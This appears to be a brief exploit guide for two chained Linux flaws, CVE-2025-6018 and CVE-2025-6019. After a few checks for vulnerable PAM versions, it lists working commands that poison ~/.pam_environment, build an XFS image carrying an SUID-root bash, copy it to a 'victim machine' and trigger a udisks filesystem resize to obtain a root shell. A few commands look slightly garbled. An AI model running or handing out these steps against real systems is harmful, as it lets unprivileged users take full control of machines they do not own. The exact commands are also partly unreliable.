Check Its Vulnerable or not

rpm -q pam || dpkg -l | grep libpam

or

find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null

or
find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null

or

systemctl --version | head -1

If version Include :(Vulnerable PAM version detected ) ~Reference cve_2025_6018

"pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0", "pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0"

Exploit Steps

Creating malicious environment file (CVE-2025-6018 Environment Poisoning)

cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime
SYSTEMD_LOG_LEVEL OVERRIDE=debug'''
EOF

Create XFS Image (On own PC) and send to remote one

( CVE-2025-6019 -- Root Access via XFS Resize in libblockdev)

dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount

#Create SUID bit as /bash shell

chmod 04555 ./xfs.mount/bash
umount ./xfs.mount
gzip xfs.image
scp ./xfs.image.gz hostname@<ip>:/home/<username>

On Victim Machine

gzip -d xfs.image.gz
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot

Reconnect To system ( ssh reconnect to activate active session )

udisksctl loop-setup --file ./xfs.image --no-user-interaction
while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
 /tmp/blockdev*/bash -p

Get Root Shell

Reference: https://www.exploit-db.com/exploits/52386

CVE-2025-6018-and-CVE-2025-6019

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